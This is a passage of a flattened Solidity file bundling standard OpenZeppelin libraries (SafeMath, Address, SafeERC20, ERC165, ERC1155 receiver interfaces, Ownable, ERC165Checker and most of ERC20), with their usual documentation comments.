Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: @openzeppelin/contracts/token/ERC1155/ERC1155Receiver.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev _Available since v3.1._ */ abstract contract ERC1155Receiver is ERC165, IERC1155Receiver { constructor() internal { _registerInterface( ERC1155Receiver(address(0)).onERC1155Received.selector ^ ERC1155Receiver(address(0)).onERC1155BatchReceived.selector ); } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/introspection/ERC165Checker.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { // success determines whether the staticcall succeeded and result determines // whether the contract at account indicates support of _interfaceId (bool success, bool result) = _callERC165SupportsInterface(account, interfaceId); return (success && result); } /** * @notice Calls the function with selector 0x01ffc9a7 (ERC165) and suppresses throw * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return success true if the STATICCALL succeeded, false otherwise * @return result true if the STATICCALL succeeded and the contract at account * indicates support of the interface with identifier interfaceId, false otherwise */ function _callERC165SupportsInterface(address account, bytes4 interfaceId) private view returns (bool, bool) { bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId); (bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams); if (result.length < 32) return (false, false); return (success, abi.decode(result, (bool))); } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the 